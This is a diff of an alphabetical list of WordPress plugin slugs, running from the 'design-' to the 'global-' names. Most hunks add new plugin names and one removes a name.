design-approval-system
design-experiments
design-feedback
design-import-export
design-sidebar-using-page-builder
design-upgrade-learndash
designbro-business-name-generator
@@ -18942,7 +19215,9 @@ dessky-snippets
destandart
destination-after-save
destiny-player-display
destiny-reviews
destroy-this-site
detabess
detail-popups
detailed-content-marketing
details-king-pro
@@ -18984,6 +19259,7 @@ developer
developer-admin-bar
developer-bootstrap
developer-code-editor
developer-firewall
developer-info
developer-instagram-feed
developer-loggers-for-simple-history
@@ -19245,6 +19521,7 @@ digigroup-fb-fancy-gallery
digilan-token
digilirapay-blockchain-payment-gateway
digimall-litemulti-vendore-store
digioh
digipass
digipay-payment-gateway
digiproveblog
@@ -19267,6 +19544,7 @@ digital-edition
digital-events-calendar
digital-goods-checkout
digital-goods-store-button-generator
digital-license-manager
digital-mandate-for-subscriptions
digital-mandate-for-woocommerce
digital-marketing-agency-templates-for-elementor
@@ -19409,6 +19687,7 @@ disable-author-pages-littlebizzy
disable-author-url-and-comment-links--wordpress-plugin
disable-auto-tag-suggestion
disable-auto-update-email-notifications
disable-auto-updates
disable-autocomplete
disable-automatic-background-updates
disable-automatic-p-tags
@@ -19422,6 +19701,7 @@ disable-bbpress-profile-override
disable-big-image-threshold
disable-block-editor
disable-block-editor-fullscreen-mode
disable-blocks-widget
disable-blog
disable-blogging
disable-blogroll-and-footer-text
@@ -19474,6 +19754,7 @@ disable-editor-by-1-click
disable-elementor-editor-translation
disable-email
disable-email-change
disable-email-notification-for-auto-updates
disable-email-notifications
disable-email-notifications-for-new-user-registration
disable-email-notifications-for-woocommerce
@@ -19486,6 +19767,7 @@ disable-emojis-polyfill
disable-empty-trash-littlebizzy
disable-errors-in-plugins
disable-events-and-news-dashboard-widget
disable-fast-velocity-minify
disable-fatal-error-handler
disable-featured-image-the-events-calendar
disable-feed-category
@@ -19499,6 +19781,7 @@ disable-floc-easily
disable-flood-control
disable-flood-filter-protection
disable-free-shipping-for-woocommerce
disable-full-site-editing
disable-fullscreen-mode
disable-generate-thumbnails
disable-genericons
@@ -19616,6 +19899,7 @@ disable-spam-comments-link
disable-split-the-query
disable-srcset-images
disable-styles-scripts
disable-telemetry
disable-the-comments
disable-theme-and-plugin-auto-update-emails
disable-theme-and-plugin-editor
@@ -19685,6 +19969,7 @@ disable-wp-new-user-notification
disable-wp-notification
disable-wp-plugin-updates-advance
disable-wp-registration-page
disable-wp-registration-page-spam
disable-wp-rest-api
disable-wp-revisions
disable-wp-robots
@@ -19748,6 +20033,7 @@ discount-for-woocommerce
discount-from-full-price-ignore-on-sale-price-when-a-coupon-is-applied-woocommerce
discount-patreon-connect
discount-payment-moona
discount-percent
discount-price-for-woocommerce
discount-price-woocommerce
discount-regular-price-on-cart-checkout-page
@@ -19870,12 +20156,14 @@ display-post-meta
display-post-metadata
display-post-number
display-post-types
display-post-views-count
display-posts
display-posts-date-view
display-posts-shortcode
display-posts-shortcode-current-page-custom-field-add-on
display-posts-shortcode-layouts
display-posts-shortcode-meta-queries
display-price-free
display-product-variations-dropdown-on-shop-page
display-queries
display-random-post-as-tweet
@@ -20076,6 +20364,7 @@ dm-albums
dm-archives
dm-comments-number-ru
dm-confirm-email
dm-contact-form-7-db
dm-future-posts
dm-instagram
dm-pojo-menu-mobile
@@ -20182,6 +20471,7 @@ docs-viewer-add-on-for-wp-job-openings
docs2site
docsify
docspress
doctor-agenda
doctor-appointment-booking
doctor-house-quotes
doctor-list
@@ -20196,6 +20486,7 @@ documapsio-sitemap-importer
document
document-attachment-widget
document-data-automation
document-embedder-addons-for-elementor
document-emberdder
document-feedback
document-gallery
@@ -20230,6 +20521,7 @@ dogeapi-donate-widget
doggus-clean-heads
dogo-content-widget
dogorama-gefahrenmeldungen
doi-creator
doi-indentifier
doifd-lists
dojo
@@ -20318,6 +20610,7 @@ donate-goal
donate-plus
donate-ribbon
donate-through-paypal-widget
donate-to-website
donate-via-paypal
donate-visa
donate-with-paymasterua
@@ -20351,6 +20644,7 @@ doneren-met-mollie
doneren-met-mollie-mail
donfn-viva-payments-native-checkout
donkie-quote
donnaknows-job-offer
donorbox-donation-form
donorcom
donostiblogs
@@ -20401,11 +20695,13 @@ dot-posts
dot-slider
dotclear-importer
dotclear2-importer
dotenv
dotepub
dotfly
dotix
dotmailer-api-plugin
dotmailer-sign-up-widget
dots-paywall
dotspots
dottoro-syntax-highlighter
dottoro-theme-updater
@@ -20466,6 +20762,7 @@ download-media-littlebizzy
download-monitor
download-monitor-edd-compatibility
download-monitor-legacy-importer
download-monitor-mollie-payment-gateway
download-monitor-page-addon-qr-code
download-music
download-newest-file
@@ -20551,8 +20848,10 @@ dq-bandcamp-library
dqh-adblock-detected
dqh-series-system
dr-abolfotoh-support
dr-affiliate
dr-buddypress-seach-site-activity
dr-flex
dr-info-slider
dr-random-image-rotate
drae
draft
@@ -20563,6 +20862,7 @@ draft-notify
draft-posts-widget
draft-scheduler
draft-to-publish
drafts
drafts-dropdown
drafts-for-friends
drafts-of-post-revisions
@@ -20647,6 +20947,7 @@ drip-funnels
drip-gravity-forms
drive-content
drive-folder-embeder
drive-wp
drivefx-woocommerce
driver-delivery-management-by-xpressdelivery
drivili-carpooling
@@ -20705,8 +21006,10 @@ droppa-shipping
dropship-me
dropship-with-wholesale2b
dropshipcommerce
dropshipping-by-kickroute
dropshipping-woocommerce
dropshipping-xox
dropstal-product-importer
dropularrss
dropwp-disable-products
dropwp-generator
@@ -20722,6 +21025,7 @@ drumbi-live
drupal-password-encryption
drupal-to-wp-xml-rpc
drupalchat
dryleads
dryve-online-marketing
ds-adrotator
ds-email-login
@@ -20773,7 +21077,9 @@ dt-directory-lite-addon
dt-elementor-iconfont-library
dt-lms-lite
dt-world-clock
dtables
dtabs
dtdc-econnect
dtech-random-page
dtm-ical-events-agenda
dtracker
@@ -20847,6 +21153,7 @@ duplicate-menu
duplicate-page
duplicate-page-and-post
duplicate-page-or-post
duplicate-pages-and-posts
duplicate-pages-posts
duplicate-plugin
duplicate-post
@@ -20858,10 +21165,12 @@ duplicate-post-littlebizzy
duplicate-post-locator
duplicate-post-meta
duplicate-post-page-menu-custom-post-type
duplicate-posts
duplicate-posts-erazer
duplicate-posts-page
duplicate-posts-remover
duplicate-pp
duplicate-publish-multisite
duplicate-taxonomy-terms-and-acf-fields
duplicate-tec-event
duplicate-term
@@ -21045,6 +21354,7 @@ dynamic-post
dynamic-post-list
dynamic-post-meta
dynamic-price-and-discounts-for-woocommerce
dynamic-price-change-for-woocommerce
dynamic-pricing-and-discounts-for-woocommerce-basic-version
dynamic-pricing-calculation-by-width-and-height
dynamic-pricing-for-woocommerce
@@ -21306,6 +21616,7 @@ easy-amember-protect-lite
easy-analytics
easy-analytics-for-google
easy-analytics-tracking
easy-and-simple-membership
easy-animated-popup
easy-anti-spam-bots
easy-antispam
@@ -21343,6 +21654,7 @@ easy-blocks-pro
easy-blog-ideas
easy-bmi-calculator
easy-book-reviews
easy-booked
easy-bootstrap-shortcodes
easy-breadcrumb
easy-breadcrumbs
@@ -21378,6 +21690,7 @@ easy-chart-builder
easy-chart-builder-using-csv-file
easy-chart-categories
easy-charts
easy-checkout-fields-editor-fees-for-woocommerce
easy-checkout-for-woocommerce
easy-child-theme-creator
easy-chitika
@@ -21397,6 +21710,7 @@ easy-code-snippets
easy-coil
easy-coin-table
easy-collapse-accordion
easy-collect-and-drop
easy-color
easy-color-manager
easy-columns
@@ -21430,6 +21744,7 @@ easy-css3-effects
easy-csv-importer
easy-csv-importer-2
easy-csv-restaurant-menus
easy-curated-lists
easy-currency-converter
easy-custom-admin-bar
easy-custom-auto-excerpt
@@ -21455,6 +21770,7 @@ easy-custom-theme-options
easy-customizable-text-widget
easy-customizer-for-woocommerce-pdf-invoices
easy-dark-mode-on-one-click
easy-dash-for-learndash
easy-dashboard
easy-database-backup
easy-debug-info
@@ -21585,6 +21901,7 @@ easy-flv-embed
easy-follow-me
easy-font-icon-widget
easy-font-icons
easy-font-resize
easy-fontawesome
easy-footnotes
easy-for-payment
@@ -21684,6 +22001,7 @@ easy-internal-links
easy-inup
easy-ip-blocker
easy-ip-redirection
easy-javascript-analytics-goals
easy-javascript-post-slider
easy-johnson-box-graphics-insert
easy-json-shortcode
@@ -21720,6 +22038,7 @@ easy-location-map
easy-locator
easy-login
easy-login-form
easy-login-logout
easy-login-styler
easy-login-woocommerce
easy-logo-link-change
@@ -21847,6 +22166,7 @@ easy-prayer
easy-prefect-text-translation-by-lingo
easy-preloader
easy-preloader-by-jason-bruno
easy-price-calculator
easy-price-table
easy-pricing-forms
easy-pricing-table
@@ -21932,6 +22252,7 @@ easy-sermon
easy-set-favicon
easy-share
easy-share-solution
easy-shipping-rate
easy-shortcode-buttons
easy-shortcode-cleaner-easy-plugin-series
easy-shortcode-creator-by-wppug
@@ -22026,6 +22347,7 @@ easy-theme-and-plugin-upgrades
easy-theme-child
easy-theme-manager
easy-theme-options
easy-theme-plugin-switcher
easy-theme-switcher
easy-theme-upgrades
easy-thumbnail-switcher
@@ -22073,6 +22395,7 @@ easy-video-gallery
easy-video-gallery-responsive-html5
easy-video-player
easy-video-publisher
easy-video-reviews
easy-video-widget
easy-visitor-counter
easy-vkontakte-connect
@@ -22176,6 +22499,7 @@ easylox-for-woocommerce
easymaintenance
easymanage
easymanage-orders-sync
easymap
easymatch-for-woocommerce
easyme-connect
easymega
@@ -22340,7 +22664,9 @@ eclips-media-guard
eclipse-crossword-integration
eco-agenda
eco-safe-merit-badge
ecolet
ecologeeks-buddypress-maps
ecomail
ecomatcher-for-woocommerce
ecomfit
ecommerce-addon
@@ -22523,6 +22849,7 @@ edd-paytm-gateway
edd-paytr-payment-gateway
edd-payu-gateway
edd-payu-latam-gateway
edd-pdf-invoices-bulk-download
edd-persian-cs
edd-prevent-checkout
edd-prevent-eu-checkout
@@ -22575,6 +22902,7 @@ edd-thirdparty-bloglink
edd-tiered-commission-rates
edd-toman
edd-toolbar
edd-user-admin-purchases-column
edd-user-profiles
edd-variable-defaults-update
edd-variable-pricing-descriptions
@@ -22594,6 +22922,7 @@ edd-yandex-checkout-lite
edd-ymlp
edd-yourpay
eddards-post-attachments
eddy-travels
edents-archive-calendar-widget
edge-cache-html-cloudflare-workers
edge-caching-firewall-bunnycdn
@@ -22652,12 +22981,14 @@ editor-banner
editor-beautifier
editor-block-outline
editor-blocks
editor-blocks-border
editor-bridge
editor-buttons-simplified
editor-by-mintboard
editor-can-view-menus
editor-choice
editor-color-on-word-count
editor-custom-color-palette
editor-enhancer-for-oxygen
editor-experiments
editor-extender
@@ -22687,6 +23018,7 @@ editorial-access-manager
editorial-calendar
editorial-comments
editorial-guidelines
editorify
editorplus
editors-columns
editors-note
@@ -22719,6 +23051,7 @@ edukit-notes
edump
edunext-openedx-integrator
eduport-flyout
edusharing
edutrac-authentication
eduzz-wp-connect
edvisor-io-web2lead
@@ -22808,6 +23141,7 @@ eht-translate
eht-visits
eicinoti
eid-easy-qualified-electonic-signature
eidlogin
eidogo-for-wordpress
eig-sso
eight-day-week-print-workflow
@@ -22909,9 +23243,11 @@ elegant-catalogs-for-woocommerce
elegant-category-posts
elegant-category-visibility
elegant-custom-fonts
elegant-free-shipping-bar-for-woocommerce
elegant-posts-widget
elegant-responsive-content-slider
elegant-subscription-popup
elegant-themes-demo-importer
elegant-themes-icons
elegant-tweets
elegant-twitter-widget
@@ -22920,6 +23256,7 @@ elegant-zazzle-plugin-ezp
eleganto-advanced-sections
elegantpurl
elegantui-social-media-icons
elegent-age-verification
elegro-payment
elemailer-lite
elemenda
@@ -22928,6 +23265,7 @@ element-ready-lite
elemental-calculator
elementary
elementic
elementify-visual-widgets
elementinvader
elementinvader-addons-for-elementor
elementor
@@ -22948,6 +23286,7 @@ elementwoo
elertzthis
eleshop
eleslider
elespare
eletro-widgets
eleusis2021-support-ribbon
elevate-parent-category-template
@@ -22959,11 +23298,13 @@ elevaweb
elevio
elex-bulk-edit-products-prices-attributes-for-woocommerce-basic
elex-choose-your-delivery-date
elex-discount-per-payment-method
elex-helpdesk-customer-support-ticket-system
elex-hide-woocommerce-shipping-methods-basic
elex-minimum-order-amount-for-woocommerce
elex-product-price-custom-text-before-after-text-and-discount-for-woocommerce
elex-request-a-quote
elex-usps-shipping-method
elex-woo-flexible-pricing
elex-woocommerce-catalog-mode
elex-woocommerce-dynamic-pricing-and-discounts
@@ -23034,6 +23375,7 @@ els-ajax-login
elsa-grabber
elsewhere
elsner-ajax-login
elta-order-tracking
elu-hide-admin-menu
elvanto-login-widget
elvantools
@@ -23079,6 +23421,7 @@ email-author-on-publish
email-automation
email-before-download
email-blaster-newsletter-signup-form
email-by-smtp
email-campaign-manager
email-capture-lead-generation
email-cart-details
@@ -23126,6 +23469,7 @@ email-login-attempts
email-login-auth
email-manager
email-marketing
email-marketing-4dem
email-marketing-by-activeconvert
email-marketing-by-mailget
email-marketing-by-sendx
@@ -23146,6 +23490,7 @@ email-notification-for-protected-post
email-notification-on-admin-login
email-notification-on-comment-approval
email-notification-on-login
email-notifications-disabler
email-notify
email-obfuscate-shortcode
email-obfuscator
@@ -23184,6 +23529,7 @@ email-subscribers
email-subscribers-advanced-form
email-subscription
email-subscription-box-after-post-content
email-subscription-form-widget
email-subscription-pop-up
email-subscription-widgets
email-subscription-with-secure-captcha
@@ -23222,6 +23568,7 @@ emailoctopus
emailplatform-woocommerce
emailpress
emailprotect
emails-blacklist-everest-forms
emails-catch-all
emails-no-spam
emails-tpl
@@ -23234,6 +23581,7 @@ emailthis
emailtoascii
emailtools
emailuserx
emailval
emarketplaceservices-live-shipping-rate
emarksheet
emaze
@@ -23410,6 +23758,7 @@ emc2-custom-help-videos
emc2-popup-disclaimer
eme-cron
eme-sync-facebook-events
emediafinder
emenus-easy-mobile-redirect
emeralds-poetry-collection
emeralds-tip-of-the-day
@@ -23427,6 +23776,7 @@ emergency-password-reset
emergency-system
emi-calc
emi-loan-calculator
emi-payment-smanager
emissary-for-marketplace-with-dokan
emissary-for-woocommerce
emitto
@@ -23450,7 +23800,9 @@ emoji-reaction-rating
emoji-reactions
emoji-settings
emoji-shortcode
emoji-toolbar
emojicom
emojics
emojics-wp
emojin
emojipinions
@@ -23542,6 +23894,7 @@ enable-svg
enable-svg-file-uploads
enable-svg-uploads
enable-svg-webp-ico-upload
enable-template-editor
enable-theme-and-plugin-editor
enable-vcard-upload
enable-wp-debug-from-admin-dashboard
@@ -23781,6 +24134,8 @@ envydoc
envynotifs
envypopup
envypreloader
enweby-custom-redirection-after-add-to-cart
enweby-pretty-product-quick-view
enzymes
eo-tracker-form-helper
eofdsupport
@@ -23958,9 +24313,11 @@ eshop-payza-checkout
eshop-quantumwebform
eshop-sagepay
eshop-shipping-extension
eshoplogisticru
eshortcodes
esim-ninja-affiliates-widget
esimple-wiki
esix-user-role
esma-ul-husna
esms-gui-tin-nhan-sms
eso-hub
@@ -24030,6 +24387,7 @@ et-current-year-month-copyright-shortcode
et-divinizer
et-easy-socialshare
et-mailing
et-personal-data-manager
et-remove-comment-author-info
et-woo-product-price
et4reg-pages
@@ -24061,6 +24419,7 @@ etiquetags20
etiquetes-twitter
etoile-theme-companion
etracker
etracker-pro
etruel-del-post-copies
etruel-stock-in-list-for-eshop
etsy-brackets
@@ -24096,6 +24455,7 @@ eu-vat-b2b-taxes
eu-vat-for-woocommerce
eu-vat-redirect
eucookielaw
euf-elementor-used-forms
euleo-ubersetzungsburo
eulivescore-free-sport-results
eupago-for-woocommerce
@@ -24269,6 +24629,7 @@ events-manager-ess
events-manager-extended
events-manager-for-wp
events-manager-like-it
events-manager-openstreetmap
events-manager-osm
events-manager-persian-datepicker
events-manager-pro-extended
@@ -24366,6 +24727,7 @@ evs-myteam
evthumbnailgrid
ew-gallery
ew-player
ewahn-intrusion-notification-and-protection
eway-crm-extension-for-contact-form-7
eway-payment-gateway
ewebdevs-elements
@@ -24498,6 +24860,7 @@ exit-notifier
exit-overlay
exit-pop
exit-popup
exit-popup-advanced
exit-popup-free
exit-popup-show
exit-popup-with-an-offer
@@ -24617,6 +24980,7 @@ export-posts
export-readers
export-simple-301-redirects-to-csv
export-stripe-csv
export-tables-to-csv
export-the-db-to-file
export-to-blogger
export-to-epp
@@ -24630,6 +24994,7 @@ export-users-data-to-csv
export-users-to-csv
export-variable-products
export-vers-prepafacile-pour-woocommerce
export-without-shortcodes
export-woocommerce
export-woocommerce-customer-list
export-woocommerce-products-with-images
@@ -24682,6 +25047,7 @@ extend-gamipress
extend-kses
extend-link
extend-media-upload
extend-rank-math
extend-theme-cusotomizer
extend-upload
extend-wordpress
@@ -24842,6 +25208,7 @@ extra-widgetsarea
extra-wp-rocket
extract-blockquote-info
extract-filters-and-actions
extract-text-from-image-etfi
extrainc
extranet
extraordinary-comments
@@ -24850,6 +25217,7 @@ extrashield
extrawatch
extrawatch-live
extrawatch-pro
extreme-admin-dashboard-theme
extreme-preloader
extreme-seo
extreme-super-related-posts
@@ -24904,6 +25272,7 @@ ezanga-contextual
ezanga-intext
ezbuybutton-buy-book-widget-for-authors
ezcache
ezcontent
ezcount
ezdate
ezdeebee-wp-connector
@@ -25364,6 +25733,7 @@ facts-about-wordpress
factura-electronica-cr
facturante
facturare-persoana-fizica-sau-juridica
facture-pay-wc-payment
factureaza
factureaza-me
facturis-online-sync
@@ -25371,6 +25741,7 @@ factuursturen-integration
faculty-and-staff
faculty-and-staff-directory
faculty-cpt
faculty-weekly-schedule
fade
fade-in-fade-out-post-title
fade-in-fade-out-xml-rss-feed
@@ -25593,6 +25964,7 @@ fast-aws
fast-backend
fast-beavercontrol
fast-blockcontrol
fast-blocks
fast-cat
fast-category-cloud-wordpress-plugin
fast-chat-button
@@ -25603,6 +25975,7 @@ fast-convertkit
fast-custom-social-share-by-codebard
fast-easy-social-sharing
fast-ebay-listings
fast-events
fast-fancy-filter-3f
fast-flickr
fast-flickr-widget
@@ -25617,6 +25990,7 @@ fast-indexing-api
fast-lightbox-jquery
fast-link-shorten
fast-live-chat
fast-mailchimp
fast-mailerlite
fast-page-switch
fast-payments-for-stripe
@@ -25629,6 +26003,7 @@ fast-shorten
fast-social-share-buttons
fast-speed-index
fast-tagcredit
fast-thrivecart
fast-toc
fast-translate
fast-translate-over-50-languages-google-translate
@@ -25661,6 +26036,7 @@ faster-pagination
faster-smilies
faster-with-stats
faster-wp-support
faster-youtube-embed
fasterimage
fastershare
fastest-css-editor-with-live-preview
@@ -25692,11 +26068,13 @@ fatpanda-toptenlists
fatso
fattura24
fatture-help-wc
fatturegratis-free-fattura-elettronica
faucet-manager
faultmem-api-client
faux-facebook-connect
fauxml
favatars
favepay-for-woocommerce
favhero-favicon-generator
favicon
favicon-by-realfavicongenerator
@@ -25883,10 +26261,12 @@ fd-elementor-imagebox
fd-footnotes
fd-payments-for-woo
fd-plugin
fd-product-design-tool-connector
fd-shreddy-maintenance-plugin
fdc-social-chat
fdc-sorties-cinema
fdl
fdp-debug
fds-slider
fdsphotofeed-v100
fe-be-localization
@@ -25966,6 +26346,7 @@ featured-image-in-admin-panel
featured-image-in-content
featured-image-in-feed
featured-image-in-rss-feed
featured-image-licence
featured-image-maker
featured-image-menu-plugin
featured-image-meta-tag-in-rss
@@ -26251,6 +26632,7 @@ felipegon-dev-password-check
felix-landing-pages
felix-responsive-pinterest-feed
felix-user-memberships-content-restriction
fellow-lasku-for-woocommerce
femora-compress
fence-url
fenix-lightbox
@@ -26305,6 +26687,7 @@ ffdirect
fff-cron-manager
fff-hut-khach
ffl-api
ffsystems
fftf-alerts
ffthttp-force-files-to-http
ffxiv-free-company-roster
@@ -26314,6 +26697,7 @@ fg-fix-serialized-strings
fg-gallery
fg-joomla-to-wordpress
fg-magento-to-woocommerce
fg-opencart-to-woocommerce
fg-prestashop-to-woocommerce
fg-spip-to-wp
fg-testimonials
@@ -26325,6 +26709,7 @@ fi-events-manager-addons
fi-geolocation
fiat-alert-bar
fiat-sidebar-nav
fiberconnect-payment
fibo-golden-ratio
fibotalk-live-chat
fibre
@@ -26418,6 +26803,8 @@ filester
filesystem-unlocker
filetype-icons
fileviewer
filkers-blocks
filkers-video-marketing-with-your-products
filled-in
filled-in-which-works
fillet
@@ -26441,7 +26828,9 @@ filter-cpt-lister
filter-custom-fields-taxonomies-light
filter-email-notifications
filter-everything
filter-featured-products
filter-for-divi
filter-for-elementor
filter-gallery
filter-main-query
filter-page-by-template
@@ -26458,6 +26847,7 @@ filter-rss-feed
filter-search-page
filter-sorter
filter-users-download-monitor
filter-wc-orders
filter-wp-api
filter-wp-query
filterable-photo-gallery-beaver-builder-elementor
@@ -26475,6 +26865,7 @@ filtr8-magazine
filtration
filtre-de-surveillance-gouvernemental
fims-shipping-for-woocommerce
fin-accounting-for-woocommerce
finage-financial-widgets
final-countdown
final-fantasy-xi-character-profile
@@ -26580,6 +26971,7 @@ firmasite-members-menu
firmasite-options
firmasite-theme-enhancer
first-comment-redirect
first-contact-chatbots
first-contact-form
first-data-for-pmpro
first-data-payment-gateway-for-woocommerce
@@ -26632,6 +27024,7 @@ fiverr-official-search-box
fivevote
fix
fix-admin-contrast
fix-and-flip-calculator
fix-another-update-in-progress
fix-automatic-update
fix-category-count
@@ -26652,6 +27045,7 @@ fix-gravatar-alt-text-title-tag
fix-gutenberg-style
fix-image-rotation
fix-logout-url
fix-missing-app-id
fix-mixed-content
fix-multiple-recaptchas
fix-multiple-redirects
@@ -26706,6 +27100,7 @@ fixon-cadastro-de-clientes
fixpress
fixtureslive-hockey-league
fizfy
fizzy-popups
fjs-feedburner-integrator-for-wp
fl3r-accessibility-suite
fl3r-feelbox
@@ -26734,6 +27129,7 @@ flamingo-shortcode
flamingtext-logo
flamingtext-wordpress-plugin
flamix-bitrix24-and-contact-forms-7-integrations
flamix-bitrix24-and-woo-integrations
flance-add-multiple-products-order-form-for-woocommerce
flanimator-reader-german-language
flare
@@ -26809,6 +27205,7 @@ flat-floating-social-bar
flat-login
flat-preloader
flat-rate-per-countryregion-for-woocommerce
flat-shipping-rate-by-city-for-woocommerce
flat-twitter
flat-ui-button
flatfolio-flat-cool-wp-portfolio
@@ -26838,6 +27235,7 @@ flex-connected-post
flex-coupons-free
flex-e-panel
flex-educate
flex-gold-for-woocommerce
flex-map-free
flex-posts
flex-slider
@@ -27137,6 +27535,7 @@ floobs-tv
flood-defender
floodwarningsapi
flooows-form-leads-store
floori
floorplan-generator
floorplanonline-virtual-tour-plugin
floorplans
@@ -27198,6 +27597,7 @@ fluid-accessible-sorting-list
fluid-accessible-sorting-portlet
fluid-accessible-ui-options
fluid-accessible-uploader
fluid-checkout
fluid-customizer
fluid-enabler
fluid-notification-bar
@@ -27215,6 +27615,7 @@ flush
flush-cache-login
flush-opcache
flush-opcache-with-varnish
flush-permalinks-button
flush-rewrite-rules
flussonic-media
flux
@@ -27252,10 +27653,13 @@ flyingtwitter
flynax-bridge
flynsarmy-iframe-shortcode
flynsarmy-twitter-widgets
flyout-menu-awesome
flyt-sales-tracker
flytedesk-ads
flytedesk-digital
flywheel-migrations
flywire-payment-gateway
flyyer-previews
flyzoo
fm-adv
fm-content-blocks
@@ -27295,6 +27699,7 @@ fny-database-backup
fny-social-media-share-buttons
fobi-chatbot
focus
focus-keywords-pro
focus-object-cache
focus-on-reviews-for-woocommerce
focus-sitecall-lite
@@ -27419,6 +27824,7 @@ fontawesome-anywhere
fontawesomeio-shortcodes
fontdeck
fonticode
fontier
fontific
fontiran
fontiran-font-changer
@@ -27701,6 +28107,7 @@ formataway
formategory
formatted-post
formatting-correcter
formatting-extender
formbuddy
formbuilder
formcraft-add-on-pack
@@ -27785,6 +28192,8 @@ forms-to-sendinblue
forms-to-webmerge
forms-to-zapier
formscontact
formscrm
formsio
formsite
formspammertrap-for-comments
formspammertrap-for-contact-form-7
@@ -27887,6 +28296,8 @@ fourteen-extended
fourth-estate-newswire-publisher
fourthestate-newsml-importer
fourwalls-real-estate
fox009-color-tag-cloud
fox009-recent-comments-widget
foxdell-folio-bec-disable-core-blocks
foxdell-folio-bec-theme-rain-forest
foxdell-folio-bec-vs-light-theme
@@ -28010,6 +28421,7 @@ free-mubjib-borsho
free-music-widget
free-my-menu-embed
free-national-lottery-widget
free-of-charge-badge
free-on-hover-image-share-buttons
free-online-article-rewriter
free-online-health-calculators
@@ -28089,6 +28501,7 @@ freemind-wp-browser
freemyinternet
freepay-for-woocommerce
freephs
freescout
freeshare
freesms
freesoul-deactivate-plugins
@@ -28100,6 +28513,7 @@ freestockcharts-live-stock-chart-browser
freetellafriendcom-sharing-bar
freetobook-booking-button
freetobook-review-widget
freeton-wp
freeultimate-video-gallery
freewp
freezewp
@@ -28146,6 +28560,7 @@ freshmail-newsletter
freshmarketer
freshmuse-debug-bar
freshtags
freshworks-crm
freteclick
fria-single-value-chart
friday-morning-report
@@ -28180,6 +28595,7 @@ friendsroll
friendstore-for-woocommerce
friendz
frinly-photo-sharing-widget
fripixel-cookies-permission
frisbo-woocommerce
frizzly
frm-modal
@@ -28302,6 +28718,7 @@ fruitfulwp-inline-checkout-cross-sell
fruitware-woocommerce-oplatamd
frumentarii
fryetech-html5-youtube-video-tag
fs-disable-users
fs-for-wp-fullstory-com-integration
fs-lazy-load
fs-link-posts
@@ -28424,6 +28841,7 @@ fullscreen-galleria
fullscreen-gallery
fullscreen-html-editor
fullscreen-menu
fullscreen-menu-awesome
fullscreen-mode-b-gone
fullscreen-preview-button
fullscreen-slider
@@ -28593,6 +29011,7 @@ fvote
fw-anker
fw-food-menu
fw-fussnoten
fw-gallery
fw-mini-feld
fw-minifeld
fw-post-image
@@ -28772,7 +29191,6 @@ gallery-for-posts-basic
gallery-for-ultimate-member
gallery-for-users
gallery-for-youtube-with-fancy-box
gallery-from-files
gallery-from-regex-matches
gallery-hierarchy
gallery-image
@@ -28825,6 +29243,7 @@ gallery-shortcode-style-to-head
gallery-showcase
gallery-slice
gallery-slider
gallery-slider-for-pinterest
gallery-slider-for-woocommerce
gallery-slider-masonry
gallery-slider-slideshow
@@ -28896,8 +29315,10 @@ gaming-links
gaming-news-rss-feed
gamipress
gamipress-activity-by-category
gamipress-advanced-ads-integration
gamipress-affiliatewp-integration
gamipress-anspress-integration
gamipress-awesome-support-integration
gamipress-badgeos-importer
gamipress-bbpress-integration
gamipress-block-users
@@ -28937,6 +29358,7 @@ gamipress-lifterlms-integration
gamipress-link
gamipress-masterstudy-lms-integration
gamipress-memberpress-integration
gamipress-modern-events-calendar-integration
gamipress-multimedia-content
gamipress-mycred-importer
gamipress-ninja-forms-integration
@@ -28966,12 +29388,14 @@ gamipress-wp-polls-integration
gamipress-wp-postratings-integration
gamipress-wp-simple-pay-integration
gamipress-wp-ulike-integration
gamipress-wp-user-manager-integration
gamipress-wpachievements-importer
gamipress-wpadverts-integration
gamipress-wpdiscuz-integration
gamipress-wpep-integration
gamipress-wpforo-integration
gamipress-wplms-integration
gamipress-ws-form-integration
gamipress-youtube-integration
gamma-gallery
gamma-tube
@@ -28995,6 +29419,7 @@ gap-hub-enquiryform
gap-hub-user-role
gaphub-wp-directory
garagesale
garanti-bbva-virtual-pos-application-integration
garbage-truck
garden-gnome-package
gardening-quotes
@@ -29052,6 +29477,7 @@ gb-search-and-replace
gb-userlist
gbatchtalk
gbc-multisite-email-username
gbi-buy-now
gbi-to-print
gbl-suplovani
gboost
@@ -29205,7 +29631,9 @@ geetalk-widget
geetest
geez-enabler
gefallt-mir-button
geidea-online-payments
geilo-zitate
gelato-integration-for-woocommerce
geldgorilla-specific-menus-for-specific-posts
gemdocs-cf7-pdf
gemius-for-wordpress
@@ -29436,6 +29864,7 @@ genium-gdpr-consent-popup
genius
genius-404
genius-marketo-form-prefill
genius-portfolio
geniuscontacts-signup-form-45
genki-announcement
genki-feedburner-sitestats
@@ -29602,6 +30031,7 @@ gestion-tarifs
gestione-circolari
gestione-circolari-groups
gestix-api
gestor-de-google-analytics-facil
gestpay-for-woocommerce
gestpay-gateway-for-wp-e-commerce
gestures-by-errnio
@@ -29749,6 +30179,7 @@ getastra
getback-optimize-web-push-notifications
getblogx
getcontentfromurl
getcost
getdeals
getfinancing-payment-gateway-for-woocommerce
getfirefox
@@ -29758,6 +30189,7 @@ getinchat
getingate-social-web-comment-system
getingate-social-web-commenting-tool
getinsta
getlaw-wp-api-client
getlead-page
getlocations-lite
getmecooking-recipe-template
@@ -29787,6 +30219,7 @@ getshopped-accordion-category-widget
getsitecontrol
getsmily
getsmokin-reviews
getsoapy
getsocial
getstats-basic
gettazone-get-the-amazon-e-commerce
@@ -29833,6 +30266,7 @@ gf-engage-add-on
gf-engaging-networks-add-on
gf-entries-date-range-filter
gf-entries-in-excel
gf-excel-import
gf-facebook-pixel-tracking
gf-fields-persistence
gf-form-locator
@@ -29880,6 +30314,7 @@ gf-salesforce-crm-add-on
gf-salesforce-crmperks
gf-salesmate-add-on
gf-send-with-rest
gf-sort-export
gf-star-rating
gf-stripe-extensions
gf-stripe-integration
@@ -29896,6 +30331,7 @@ gf-zoho
gf2pdf
gfb-author-bio-widget
gfchart-blocks
gfdesigns
gfirem-action-after
gfirem-advance-search
gfirem-fields
@@ -29957,6 +30393,7 @@ gif-animation-preview
gif-controller
gif-image-resize
gif-master
gif-uploader-wp-grandplugins
gif2html5
gifdrop
gifload
@@ -30012,6 +30449,7 @@ gimb
gimme-calendar-feeds
gimme-filter
gimonline-wp
ginbox-for-woocommerce
ginger
ginger-tag-remover
ginger-woocommerce
@@ -30129,6 +30567,7 @@ glamix-instagram-shop
glamour
glance-that
glass
glassboxx-integration-for-woocommerce
glassy
glastfm
glavpunkt
@@ -30164,6 +30603,7 @@ global-javascript
global-meta-box-order
global-meta-keyword-and-description
global-multisite-search
global-notification-bar
global-notifications
global-notifications-by-bas-matthee
